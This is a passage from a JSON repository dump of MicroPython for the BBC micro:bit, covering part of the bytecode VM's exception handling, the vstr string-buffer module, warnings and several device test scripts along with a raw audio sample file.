MP_BC_LOAD_CONST_SMALL_INT_MULTI + 64) {\n                        PUSH(MP_OBJ_NEW_SMALL_INT((mp_int_t)ip[-1] - MP_BC_LOAD_CONST_SMALL_INT_MULTI - 16));\n                        DISPATCH();\n                    } else if (ip[-1] < MP_BC_LOAD_FAST_MULTI + 16) {\n                        obj_shared = fastn[MP_BC_LOAD_FAST_MULTI - (mp_int_t)ip[-1]];\n                        goto load_check;\n                    } else if (ip[-1] < MP_BC_STORE_FAST_MULTI + 16) {\n                        fastn[MP_BC_STORE_FAST_MULTI - (mp_int_t)ip[-1]] = POP();\n                        DISPATCH();\n                    } else if (ip[-1] < MP_BC_UNARY_OP_MULTI + 7) {\n                        SET_TOP(mp_unary_op(ip[-1] - MP_BC_UNARY_OP_MULTI, TOP()));\n                        DISPATCH();\n                    } else if (ip[-1] < MP_BC_BINARY_OP_MULTI + 36) {\n                        mp_obj_t rhs = POP();\n                        mp_obj_t lhs = TOP();\n                        SET_TOP(mp_binary_op(ip[-1] - MP_BC_BINARY_OP_MULTI, lhs, rhs));\n                        DISPATCH();\n                    } else\n#endif\n                {\n                    mp_obj_t obj = mp_obj_new_exception_msg(&mp_type_NotImplementedError, \"byte code not implemented\");\n                    nlr_pop();\n                    fastn[0] = obj;\n                    return MP_VM_RETURN_EXCEPTION;\n                }\n\n#if !MICROPY_OPT_COMPUTED_GOTO\n                } // switch\n#endif\n\npending_exception_check:\n                MICROPY_VM_HOOK_LOOP\n\n                #if MICROPY_ENABLE_SCHEDULER\n                // This is an inlined variant of mp_handle_pending\n                if (MP_STATE_VM(sched_state) == MP_SCHED_PENDING) {\n                    MARK_EXC_IP_SELECTIVE();\n                    mp_uint_t atomic_state = MICROPY_BEGIN_ATOMIC_SECTION();\n                    mp_obj_t obj = MP_STATE_VM(mp_pending_exception);\n                    if (obj != MP_OBJ_NULL) {\n                        MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL;\n                        if (!mp_sched_num_pending()) {\n                            MP_STATE_VM(sched_state) = MP_SCHED_IDLE;\n                        }\n                        MICROPY_END_ATOMIC_SECTION(atomic_state);\n                        RAISE(obj);\n                    }\n                    mp_handle_pending_tail(atomic_state);\n                }\n                #else\n                // This is an inlined variant of mp_handle_pending\n                if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) {\n                    MARK_EXC_IP_SELECTIVE();\n                    mp_obj_t obj = MP_STATE_VM(mp_pending_exception);\n                    MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL;\n                    RAISE(obj);\n                }\n                #endif\n\n                #if MICROPY_PY_THREAD_GIL\n                #if MICROPY_PY_THREAD_GIL_VM_DIVISOR\n                if (--gil_divisor == 0) {\n                    gil_divisor = MICROPY_PY_THREAD_GIL_VM_DIVISOR;\n                #else\n                {\n                #endif\n                    #if MICROPY_ENABLE_SCHEDULER\n                    // can only switch threads if the scheduler is unlocked\n                    if (MP_STATE_VM(sched_state) == MP_SCHED_IDLE)\n                    #endif\n                    {\n                    MP_THREAD_GIL_EXIT();\n                    MP_THREAD_GIL_ENTER();\n                    }\n                }\n                #endif\n\n            } // for loop\n\n        } else {\nexception_handler:\n            // exception occurred\n\n            #if MICROPY_PY_SYS_EXC_INFO\n            MP_STATE_VM(cur_exception) = nlr.ret_val;\n            #endif\n\n            #if SELECTIVE_EXC_IP\n            // with selective ip, we store the ip 1 byte past the opcode, so move ptr back\n            code_state->ip -= 1;\n            #endif\n\n            if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(((mp_obj_base_t*)nlr.ret_val)->type), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) {\n                if (code_state->ip) {\n                    // check if it's a StopIteration within a for block\n                    if (*code_state->ip == MP_BC_FOR_ITER) {\n                        const byte *ip = code_state->ip + 1;\n                        DECODE_ULABEL; // the jump offset if iteration finishes; for labels are always forward\n                        code_state->ip = ip + ulab; // jump to after for-block\n                        code_state->sp -= MP_OBJ_ITER_BUF_NSLOTS; // pop the exhausted iterator\n                        goto outer_dispatch_loop; // continue with dispatch loop\n                    } else if (*code_state->ip == MP_BC_YIELD_FROM) {\n                        // StopIteration inside yield from call means return a value of\n                        // yield from, so inject exception's value as yield from's result\n                        *++code_state->sp = mp_obj_exception_get_value(MP_OBJ_FROM_PTR(nlr.ret_val));\n                        code_state->ip++; // yield from is over, move to next instruction\n                        goto outer_dispatch_loop; // continue with dispatch loop\n                    }\n                }\n            }\n\n#if MICROPY_STACKLESS\nunwind_loop:\n#endif\n            // set file and line number that the exception occurred at\n            // TODO: don't set traceback for exceptions re-raised by END_FINALLY.\n            // But consider how to handle nested exceptions.\n            // TODO need a better way of not adding traceback to constant objects (right now, just GeneratorExit_obj and MemoryError_obj)\n            if (nlr.ret_val != &mp_const_GeneratorExit_obj && nlr.ret_val != &mp_const_MemoryError_obj) {\n                const byte *ip = code_state->fun_bc->bytecode;\n                ip = mp_decode_uint_skip(ip); // skip n_state\n                ip = mp_decode_uint_skip(ip); // skip n_exc_stack\n                ip++; // skip scope_params\n                ip++; // skip n_pos_args\n                ip++; // skip n_kwonly_args\n                ip++; // skip n_def_pos_args\n                size_t bc = code_state->ip - ip;\n                size_t code_info_size = mp_decode_uint_value(ip);\n                ip = mp_decode_uint_skip(ip); // skip code_info_size\n                bc -= code_info_size;\n                #if MICROPY_PERSISTENT_CODE\n                qstr block_name = ip[0] | (ip[1] << 8);\n                qstr source_file = ip[2] | (ip[3] << 8);\n                ip += 4;\n                #else\n                qstr block_name = mp_decode_uint_value(ip);\n                ip = mp_decode_uint_skip(ip);\n                qstr source_file = mp_decode_uint_value(ip);\n                ip = mp_decode_uint_skip(ip);\n                #endif\n                size_t source_line = 1;\n                size_t c;\n                while ((c = *ip)) {\n                    size_t b, l;\n                    if ((c & 0x80) == 0) {\n                        // 0b0LLBBBBB encoding\n                        b = c & 0x1f;\n                        l = c >> 5;\n                        ip += 1;\n                    } else {\n                        // 0b1LLLBBBB 0bLLLLLLLL encoding (l's LSB in second byte)\n                        b = c & 0xf;\n                        l = ((c << 4) & 0x700) | ip[1];\n                        ip += 2;\n                    }\n                    if (bc >= b) {\n                        bc -= b;\n                        source_line += l;\n                    } else {\n                        // found source line corresponding to bytecode offset\n                        break;\n                    }\n                }\n                mp_obj_exception_add_traceback(MP_OBJ_FROM_PTR(nlr.ret_val), source_file, source_line, block_name);\n            }\n\n            while (currently_in_except_block) {\n                // nested exception\n\n                assert(exc_sp >= exc_stack);\n\n                // TODO make a proper message for nested exception\n                // at the moment we are just raising the very last exception (the one that caused the nested exception)\n\n                // move up to previous exception handler\n                POP_EXC_BLOCK();\n            }\n\n            if (exc_sp >= exc_stack) {\n                // set flag to indicate that we are now handling an exception\n                currently_in_except_block = 1;\n\n                // catch exception and pass to byte code\n                code_state->ip = exc_sp->handler;\n                mp_obj_t *sp = MP_TAGPTR_PTR(exc_sp->val_sp);\n                // save this exception in the stack so it can be used in a reraise, if needed\n                exc_sp->prev_exc = nlr.ret_val;\n                // push exception object so it can be handled by bytecode\n                PUSH(MP_OBJ_FROM_PTR(nlr.ret_val));\n                code_state->sp = sp;\n\n            #if MICROPY_STACKLESS\n            } else if (code_state->prev != NULL) {\n                mp_globals_set(code_state->old_globals);\n                code_state = code_state->prev;\n                size_t n_state = mp_decode_uint_value(code_state->fun_bc->bytecode);\n                fastn = &code_state->state[n_state - 1];\n                exc_stack = (mp_exc_stack_t*)(code_state->state + n_state);\n                // variables that are visible to the exception handler (declared volatile)\n                currently_in_except_block = MP_TAGPTR_TAG0(code_state->exc_sp); // 0 or 1, to detect nested exceptions\n                exc_sp = MP_TAGPTR_PTR(code_state->exc_sp); // stack grows up, exc_sp points to top of stack\n                goto unwind_loop;\n\n            #endif\n            } else {\n                // propagate exception to higher level\n                // TODO what to do about ip and sp? they don't really make sense at this point\n                fastn[0] = MP_OBJ_FROM_PTR(nlr.ret_val); // must put exception here because sp is invalid\n                return MP_VM_RETURN_EXCEPTION;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "micropython/source/py/vstr.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <stdarg.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n#include \"py/mpprint.h\"\n\n// returned value is always at least 1 greater than argument\n#define ROUND_ALLOC(a) (((a) & ((~0U) - 7)) + 8)\n\n// Init the vstr so it allocs exactly given number of bytes.  Set length to zero.\nvoid vstr_init(vstr_t *vstr, size_t alloc) {\n    if (alloc < 1) {\n        alloc = 1;\n    }\n    vstr->alloc = alloc;\n    vstr->len = 0;\n    vstr->buf = m_new(char, vstr->alloc);\n    vstr->fixed_buf = false;\n}\n\n// Init the vstr so it allocs exactly enough ram to hold a null-terminated\n// string of the given length, and set the length.\nvoid vstr_init_len(vstr_t *vstr, size_t len) {\n    vstr_init(vstr, len + 1);\n    vstr->len = len;\n}\n\nvoid vstr_init_fixed_buf(vstr_t *vstr, size_t alloc, char *buf) {\n    vstr->alloc = alloc;\n    vstr->len = 0;\n    vstr->buf = buf;\n    vstr->fixed_buf = true;\n}\n\nvoid vstr_init_print(vstr_t *vstr, size_t alloc, mp_print_t *print) {\n    vstr_init(vstr, alloc);\n    print->data = vstr;\n    print->print_strn = (mp_print_strn_t)vstr_add_strn;\n}\n\nvoid vstr_clear(vstr_t *vstr) {\n    if (!vstr->fixed_buf) {\n        m_del(char, vstr->buf, vstr->alloc);\n    }\n    vstr->buf = NULL;\n}\n\nvstr_t *vstr_new(size_t alloc) {\n    vstr_t *vstr = m_new_obj(vstr_t);\n    vstr_init(vstr, alloc);\n    return vstr;\n}\n\nvoid vstr_free(vstr_t *vstr) {\n    if (vstr != NULL) {\n        if (!vstr->fixed_buf) {\n            m_del(char, vstr->buf, vstr->alloc);\n        }\n        m_del_obj(vstr_t, vstr);\n    }\n}\n\n// Extend vstr strictly by requested size, return pointer to newly added chunk.\nchar *vstr_extend(vstr_t *vstr, size_t size) {\n    if (vstr->fixed_buf) {\n        return NULL;\n    }\n    char *new_buf = m_renew(char, vstr->buf, vstr->alloc, vstr->alloc + size);\n    char *p = new_buf + vstr->alloc;\n    vstr->alloc += size;\n    vstr->buf = new_buf;\n    return p;\n}\n\nSTATIC bool vstr_ensure_extra(vstr_t *vstr, size_t size) {\n    if (vstr->len + size > vstr->alloc) {\n        if (vstr->fixed_buf) {\n            return false;\n        }\n        size_t new_alloc = ROUND_ALLOC((vstr->len + size) + 16);\n        char *new_buf = m_renew(char, vstr->buf, vstr->alloc, new_alloc);\n        vstr->alloc = new_alloc;\n        vstr->buf = new_buf;\n    }\n    return true;\n}\n\nvoid vstr_hint_size(vstr_t *vstr, size_t size) {\n    vstr_ensure_extra(vstr, size);\n}\n\nchar *vstr_add_len(vstr_t *vstr, size_t len) {\n    if (!vstr_ensure_extra(vstr, len)) {\n        return NULL;\n    }\n    char *buf = vstr->buf + vstr->len;\n    vstr->len += len;\n    return buf;\n}\n\n// Doesn't increase len, just makes sure there is a null byte at the end\nchar *vstr_null_terminated_str(vstr_t *vstr) {\n    // If there's no more room, add single byte\n    if (vstr->alloc == vstr->len) {\n        if (vstr_extend(vstr, 1) == NULL) {\n            return NULL;\n        }\n    }\n    vstr->buf[vstr->len] = '\\0';\n    return vstr->buf;\n}\n\nvoid vstr_add_byte(vstr_t *vstr, byte b) {\n    byte *buf = (byte*)vstr_add_len(vstr, 1);\n    if (buf == NULL) {\n        return;\n    }\n    buf[0] = b;\n}\n\nvoid vstr_add_char(vstr_t *vstr, unichar c) {\n#if MICROPY_PY_BUILTINS_STR_UNICODE\n    // TODO: Can this be simplified and deduplicated?\n    // Is it worth just calling vstr_add_len(vstr, 4)?\n    if (c < 0x80) {\n        byte *buf = (byte*)vstr_add_len(vstr, 1);\n        if (buf == NULL) {\n            return;\n        }\n        *buf = (byte)c;\n    } else if (c < 0x800) {\n        byte *buf = (byte*)vstr_add_len(vstr, 2);\n        if (buf == NULL) {\n            return;\n        }\n        buf[0] = (c >> 6) | 0xC0;\n        buf[1] = (c & 0x3F) | 0x80;\n    } else if (c < 0x10000) {\n        byte *buf = (byte*)vstr_add_len(vstr, 3);\n        if (buf == NULL) {\n            return;\n        }\n        buf[0] = (c >> 12) | 0xE0;\n        buf[1] = ((c >> 6) & 0x3F) | 0x80;\n        buf[2] = (c & 0x3F) | 0x80;\n    } else {\n        assert(c < 0x110000);\n        byte *buf = (byte*)vstr_add_len(vstr, 4);\n        if (buf == NULL) {\n            return;\n        }\n        buf[0] = (c >> 18) | 0xF0;\n        buf[1] = ((c >> 12) & 0x3F) | 0x80;\n        buf[2] = ((c >> 6) & 0x3F) | 0x80;\n        buf[3] = (c & 0x3F) | 0x80;\n    }\n#else\n    vstr_add_byte(vstr, c);\n#endif\n}\n\nvoid vstr_add_str(vstr_t *vstr, const char *str) {\n    vstr_add_strn(vstr, str, strlen(str));\n}\n\nvoid vstr_add_strn(vstr_t *vstr, const char *str, size_t len) {\n    if (!vstr_ensure_extra(vstr, len)) {\n        // if buf is fixed, we got here because there isn't enough room left\n        // so just try to copy as much as we can, with room for a possible null byte\n        if (vstr->fixed_buf && vstr->len < vstr->alloc) {\n            len = vstr->alloc - vstr->len;\n            goto copy;\n        }\n        return;\n    }\ncopy:\n    memmove(vstr->buf + vstr->len, str, len);\n    vstr->len += len;\n}\n\nchar *vstr_ins_blank_bytes(vstr_t *vstr, size_t byte_pos, size_t byte_len) {\n    size_t l = vstr->len;\n    if (byte_pos > l) {\n        byte_pos = l;\n    }\n    if (byte_len > 0) {\n        // ensure room for the new bytes\n        if (!vstr_ensure_extra(vstr, byte_len)) {\n            return NULL;\n        }\n        // copy up the string to make room for the new bytes\n        memmove(vstr->buf + byte_pos + byte_len, vstr->buf + byte_pos, l - byte_pos);\n        // increase the length\n        vstr->len += byte_len;\n    }\n    return vstr->buf + byte_pos;\n}\n\nvoid vstr_ins_byte(vstr_t *vstr, size_t byte_pos, byte b) {\n    char *s = vstr_ins_blank_bytes(vstr, byte_pos, 1);\n    if (s != NULL) {\n        *s = b;\n    }\n}\n\nvoid vstr_ins_char(vstr_t *vstr, size_t char_pos, unichar chr) {\n    // TODO UNICODE\n    char *s = vstr_ins_blank_bytes(vstr, char_pos, 1);\n    if (s != NULL) {\n        *s = chr;\n    }\n}\n\nvoid vstr_cut_head_bytes(vstr_t *vstr, size_t bytes_to_cut) {\n    vstr_cut_out_bytes(vstr, 0, bytes_to_cut);\n}\n\nvoid vstr_cut_tail_bytes(vstr_t *vstr, size_t len) {\n    if (len > vstr->len) {\n        vstr->len = 0;\n    } else {\n        vstr->len -= len;\n    }\n}\n\nvoid vstr_cut_out_bytes(vstr_t *vstr, size_t byte_pos, size_t bytes_to_cut) {\n    if (byte_pos >= vstr->len) {\n        return;\n    } else if (byte_pos + bytes_to_cut >= vstr->len) {\n        vstr->len = byte_pos;\n    } else {\n        memmove(vstr->buf + byte_pos, vstr->buf + byte_pos + bytes_to_cut, vstr->len - byte_pos - bytes_to_cut);\n        vstr->len -= bytes_to_cut;\n    }\n}\n\nvoid vstr_printf(vstr_t *vstr, const char *fmt, ...) {\n    va_list ap;\n    va_start(ap, fmt);\n    vstr_vprintf(vstr, fmt, ap);\n    va_end(ap);\n}\n\nvoid vstr_vprintf(vstr_t *vstr, const char *fmt, va_list ap) {\n    mp_print_t print = {vstr, (mp_print_strn_t)vstr_add_strn};\n    mp_vprintf(&print, fmt, ap);\n}\n"
  },
  {
    "path": "micropython/source/py/warning.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdarg.h>\n#include <stdio.h>\n\n#include \"py/emit.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_WARNINGS\n\nvoid mp_warning(const char *msg, ...) {\n    va_list args;\n    va_start(args, msg);\n    mp_print_str(&mp_plat_print, \"Warning: \");\n    mp_vprintf(&mp_plat_print, msg, args);\n    mp_print_str(&mp_plat_print, \"\\n\");\n    va_end(args);\n}\n\nvoid mp_emitter_warning(pass_kind_t pass, const char *msg) {\n    if (pass == MP_PASS_CODE_SIZE) {\n        mp_warning(msg, NULL);\n    }\n}\n\n#endif // MICROPY_WARNINGS\n"
  },
  {
    "path": "micropython/tests/README.md",
    "content": "Tests\n=====\n\nThis directory contains script[s] that can be used to confirm various features\nof the micro:bit are working. They are as follows:\n\n* `exercise.py` - a general exercise of various aspects of the hardware. Not exhaustive and requires the user to press buttons A or B to move forward in the tests. Completes with a smile.\n* ??? - TBC\n\n"
  },
  {
    "path": "micropython/tests/exercise.py",
    "content": "# Exercises the micro:bit - NOT EXHAUSTIVE!\nfrom microbit import *\nimport music\nimport random\n\n\n# Press A to start.\nwhile True:\n    if button_a.was_pressed():\n        break\n    else:\n        display.show(Image.ARROW_W)\n        sleep(200)\n        display.clear()\n        sleep(200)\n\n\n# Asyncronously play a jolly little tune (connect speaker to pin0 and GND)\nmusic.play(music.NYAN, wait=False)\n\n\n# Grab all the built in images.\nimages = [getattr(Image, img) for img in dir(Image)\n          if type(getattr(Image, img)) == Image]\n# ... and cycle through them on the display.\npause = 1000\nfor img in images:\n    display.show(img)\n    sleep(pause)\n    pause -= 50\n    if pause < 100:\n        pause = 100\ndisplay.clear()\n\n\n# Aural testing of the accelerometer.\ndisplay.scroll(\"Accelerometer\")\ndisplay.show(\"X\")\nwhile not button_a.is_pressed():\n    music.pitch(abs(accelerometer.get_x()), 20)\nsleep(500)\ndisplay.show(\"Y\")\nwhile not button_a.is_pressed():\n    music.pitch(abs(accelerometer.get_y()), 20)\nsleep(500)\ndisplay.show(\"Z\")\nwhile not button_a.is_pressed():\n    music.pitch(abs(accelerometer.get_z()), 20)\n\n\n# Aural testing of the compass.\ndisplay.scroll(\"Compass\")\ncompass.calibrate()\nwhile not button_b.is_pressed():\n    music.pitch(abs(compass.heading()), 20)\n\n\n# Pixel brightness.\ndisplay.scroll(\"Display\")\ndots = [ [0]*5, [0]*5, [0]*5, [0]*5, [0]*5 ]\nwhile not button_a.is_pressed():\n    dots[random.randrange(5)][random.randrange(5)] = 9\n    for i in range(5):\n        for j in range(5):\n            display.set_pixel(i, j, dots[i][j])\n            dots[i][j] = max(dots[i][j] - 1, 0)\n    sleep(50)\n\n\n# ??? Add further tests here...\n\n\n# Finished!\ndisplay.scroll(\"Finished!\")\ndisplay.show(Image.HAPPY)\n"
  },
  {
    "path": "micropython/tests/radio_audio.py",
    "content": "\nimport audio\nimport radio\nfrom microbit import button_a, button_b, display, running_time, sleep\nimport os\n\ndef sample_generator(filename):\n    buf = audio.AudioFrame()\n    with open(filename, \"rb\") as file:\n        ln = -1\n        while ln:\n            ln = file.readinto(buf)\n            yield buf\n\n# 1 second of 128Hz sawtooth wave.\ndef sawtooth_generator():\n    sawtooth = audio.AudioFrame()\n    for i in range(32):\n        sawtooth[i] = i*8+4\n    for i in range(256):\n        yield sawtooth\n\n\ndef send():\n    display.clear()\n    radio.on()\n    radio.config(channel=90, power=4)\n    if \"sample.raw\" in os.listdir():\n        gen = sample_generator(\"sample.raw\")\n    else:\n        gen = sawtooth_generator()\n    start = running_time()\n    sent = 0\n    for f in gen:\n        # One frame every 4ms = 8kHz\n        while sent > ((running_time() - start) >> 2) + 3:\n            sleep(1)\n        radio.send_bytes(f)\n        sent += 1\n    print(sent)\n\ndef play():\n    display.clear()\n    radio.on()\n    radio.config(channel=90, queue=12)\n    count = -1\n    def gen():\n        recvd = audio.AudioFrame()\n        empty = audio.AudioFrame()\n        while True:\n            if radio.receive_bytes_into(recvd) == 32:\n                yield recvd\n            else:\n                yield empty\n            if button_a.is_pressed() and button_b.is_pressed():\n                return\n    audio.play(gen())\n\nwhile True:\n    message = \"Press button a to send 'sample.raw' or sawtooth wave. Press button b to play received waveform. Press both buttons to stop.\"\n    display.scroll(message, delay=100, wait=False)\n    message_end = running_time() + len(message)*600\n    if button_a.is_pressed() and button_b.is_pressed():\n        break\n    while True:\n        sleep(50)\n        if button_a.is_pressed():\n            send()\n            break\n        if button_b.is_pressed():\n            play()\n            break\n        if running_time() > message_end:\n            break\n"
  },
  {
    "path": "micropython/tests/sample.raw",
    "content": "~~}|}}~~~~|zz{|}~~~{xz||||}}~~~~zuuwxxz|}}~~}~xqrtuwxz||}~~{}}~}}topruvwy{{~~~}|}~{zz}|zwkhlpststv|~zvuvzyrt{[X[Zbt|g[\\[^o}uaUVcjlpsxRSSTz}]TVU_jwlPRO\\p]ci|iHPIbb[RTW_XkgQMJ^w_fdrWGLI}slfaQRWYjYYT[u[Xfvz~[KfWyf\\qSUxeoeu|Ua{bWg}L=TK`CH^i~}iOOAfb^toz;<LOZ=@YluYFcW^pabZsl;;snszFTAE{liqe|_\\L?uexmcĹb%HDJkxٺz]<ZH5eϯxNV4C]q|՞85`A2LiǋPU==^b_͹c=[l`eu~ÏHEjR1Fj}Ǜt~RIUdxze{_uulnikisWTZ9@X]\\uxgonYXolrqbb~lt{gaqƶ}xnF;UE6[{ccs`\\tvw\\^Rfq\\Yte:Gsr^n}kfkuq`{eor~s~wio_[bmea|~|wvy}~oh^}yiqoy~uu{sov{x}~~~{zwxzzz}~~~{yy{z{~~yx{||~}~|}}|||z~}y{{{}}~}}}~~~~}ywxz{z~||{{~}~{xyy{{{y{|z}|}}|}{|{~{z~zxxxxyz~zyy{}}}{}}~~~}}}}}}||~||{|||}|||{|{z{~~}~}|}}}~~||}}~|}~}~~}}yzzy}|z}}{}|}}}~~}}}~|}~|{}}{{~}~~|~~~|~~{}~~~|}|}~}~}~}~~~~}~~~|~}}}|~{|}}}}}~}}~}|~}}}~~~|}~~~~}}~~~~~}|~~~~}~~~}~~~~~~~}~~~}~}}{xsn}ÔIA^voed~rhk|eBIu}ohm}wkht}z}}{vz|~uryzh`dqyw~tllr{wqqs{}}}~~||~wv{y~z{z|}}xtw{}yxv}|z~~}||~}zwz~|}|wx}|}}}~}}|xx|~~}~}~~~}y{x{}{z{uy~~~|xw{~{|}}~~}}}~|~{}}~~xy~|~|{}}~~}~~|~wwz{|~{xx{zz|{|~|n^RPVetqfdipw{}tnqz~}uR;7BVkybUSYgsyrU<5@Tmi>58Hbuw]OMUdpsr}k^_bZI=D`|w}qC356HexľxQ:<HRauuaTNR^f_Ybw~~|vD/21Gpʧi<36CZl{ū\\HGNSZglptqsuuy|]5126]ѹw>35=Viq̬|VGGJPVb|xonlkhj|qF232LtQ45ANWl̬dPNMDF_ǦeKYghdabtR628W~îV;:LYhzn`\\XUXjhVahgjmolB1=WtlRO[^\\kueXXjdh}vhwzuA1DTcǴj]egZYky}tf`juturox~Q>JSR\\nwżzl^QO^ov{wqqcB;]tp{dZ^b]]dkzthbcimln}cMS[W]s{vz_IJURO_rywhVT]_al{f?Ea[SsiNMOE@R`g}xe_ZNOXangPW[MQlvqgOLJ<9HQXo{oeVONR[jyuwucZge^k~dXSE:?IM\\xylb][]dhku}yuyunr|~~}mbWMHEGP_oyyrmjhiikouy|~|xx{{|}~|yz~}rjbYXXTU^iq{{vrqroostsv{{z|zuwz{{~~~{wvttsrstrtxy}~||{zyxz||}|}}{xttvuw{}}}|{ywuttttsstuwz{}{zzyxx{{{z{}~~}~{yxwxxwvwz{{||}~}}|||~}~~~~}~}zzzyyyzy{}~~||}}{zzyvtvxzzxy}}~~}~~~~~~~~}~~|{|}~~|}}{wwwxyxxyz{}}|{|~|zxyyy{{~||}~~~~}}{z|}|}~~}|~}~~{{}zz{{|~~~}~~}~|{~~||~~~~}}}|}~}~}~~{|}||}|~|{}}|}|}~~}}~xp~}{|}~|}zz}zwx|}|}~~~~}~~}~}{{|{zz|~}|{zyxxz|ufiqdYgx{~}qqplkqx|quuXG]oeiqH>[\\:ExuWP`^Wh}yjRIPRXan]]xb6Fquny_hkZUfxs[HWW@Lx~|aSlqJ>f~||\\]kf[b{yieeYT\\lor[Goi28n~zƭhMZ]QTfn`ZPN`bc{{rEdu<)iri?WdLOj}eYY[gwggs~zU:bb17rǡR;P[V^uyshZPQfxrrlswpk}{Z^tkTVs~aP_skd}ppvl]dw~vrnptnp~qhihXPc|oZ^ecex}xshdgovxtkdcgoz}ugEKxwn|b\\pmddo}~ufezvuoyvlr|wwrrx~ztiqpddmz|qpsuux|zuqry}}yyzy{~|vrtwyy{{sxXZluxxzsrql_enktwv{}zurt{zvxyvvz}|~|{}~}~~~~}~~}~~|{{|~~}~~}~~~~}}}~|~}}}}~{{~~~~~~~~}~}~~~||}~~~}~}~~~~~~~~~o{~~}j|}uqzowp{tuvyop{vv|{{~}v||~}}|z|}~~z{~~~z}}|{|}}|~~~~~~~~}|}~~}~~~~|~~}}~}~zy}z|~}}~|~~~~~{~~}~{~~~}x}|z~|}}}|z}y~|~}~||~~}~}z}{{~~}}~~~}}~||}~{}}}ywyy}|}z||zz~|z~}}}~~|~~~}~y~}}~}}~|z}~~}~}}~~}|}~~~|}~}}~||~~{{~~}~|~~}~~~~~}~~}~}~~~~}~~~~}~~~~~~~~~~}~~~~~~}}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  },
  {
    "path": "micropython/tests/test_files.py",
    "content": "\nimport os\nfrom microbit import display, Image\n\n\ndef data_stream(seed):\n    val = seed&0xffff\n    A = 33\n    C = 509\n    while True:\n        val = (A*val+C)&0xffff\n        yield val >> 8\n\ndef text_stream(seed):\n    val = seed&0xffff\n    A = 33\n    C = 509\n    while True:\n        val = (A*val+C)&0xffff\n        yield chr(val >> 10 + 34)\n\ndef write_data_to_file(name, seed, n, count):\n    print (\"Writing data to \" + name)\n    buf = bytearray(n)\n    d = data_stream(seed)\n    with open(name, 'wb') as fd:\n        for i in range(count):\n            for j in range(n):\n                buf[j] = next(d)\n            fd.write(buf)\n\ndef verify_file(name, stream, n, count, mode):\n    print (\"Verifying data in \" + name)\n    byte_count = 0\n    with open(name, mode) as fd:\n        while True:\n            buf = fd.read(n)\n            assert len(buf) <= n\n            if not buf:\n                break\n            for b in buf:\n                expected = next(stream)\n                assert b == expected, \"expected %d, got %d at %d\" % (expected, b, byte_count)\n                byte_count += 1\n    assert byte_count == n*count, \"expected count of %d, got %d\" % (n*count, byte_count)\n\ndef write_text_to_file(name, seed, n, count):\n    print (\"Writing text to \" + name)\n    buf = bytearray(n)\n    d = text_stream(seed)\n    with open(name, 'w') as fd:\n        for i in range(count):\n            s = ''\n            for j in range(n):\n                s += next(d)\n            fd.write(s)\n\ndef clear_files():\n    for f in os.listdir():\n        os.remove(f)\n\ndef test_small_files():\n    name = \"test1.dat\"\n    write_data_to_file(name, 12, 16, 5)\n    verify_file(name, data_stream(12), 20, 4, 'b')\n    name = \"test2.dat\"\n    write_data_to_file(name, 101, 64, 5)\n    verify_file(name, data_stream(101), 32, 10, 'b')\n    assert os.listdir() == [ \"test1.dat\", \"test2.dat\" ]\n    os.remove(\"test1.dat\")\n    os.remove(\"test2.dat\")\n    assert not os.listdir()\n\ndef test_text_file():\n    name = \"test1.txt\"\n    write_text_to_file(name, 13, 16, 2)\n    verify_file(name, text_stream(13), 16, 2, 't')\n    name = \"test2.txt\"\n    write_text_to_file(name, 35, 16, 5)\n    verify_file(name, text_stream(35), 20, 4, 't')\n    assert os.listdir() == [ \"test1.txt\", \"test2.txt\" ]\n    os.remove(\"test1.txt\")\n    os.remove(\"test2.txt\")\n    assert not os.listdir()\n\ndef test_many_files():\n    for i in range(80):\n        name = \"%d.dat\" % i\n        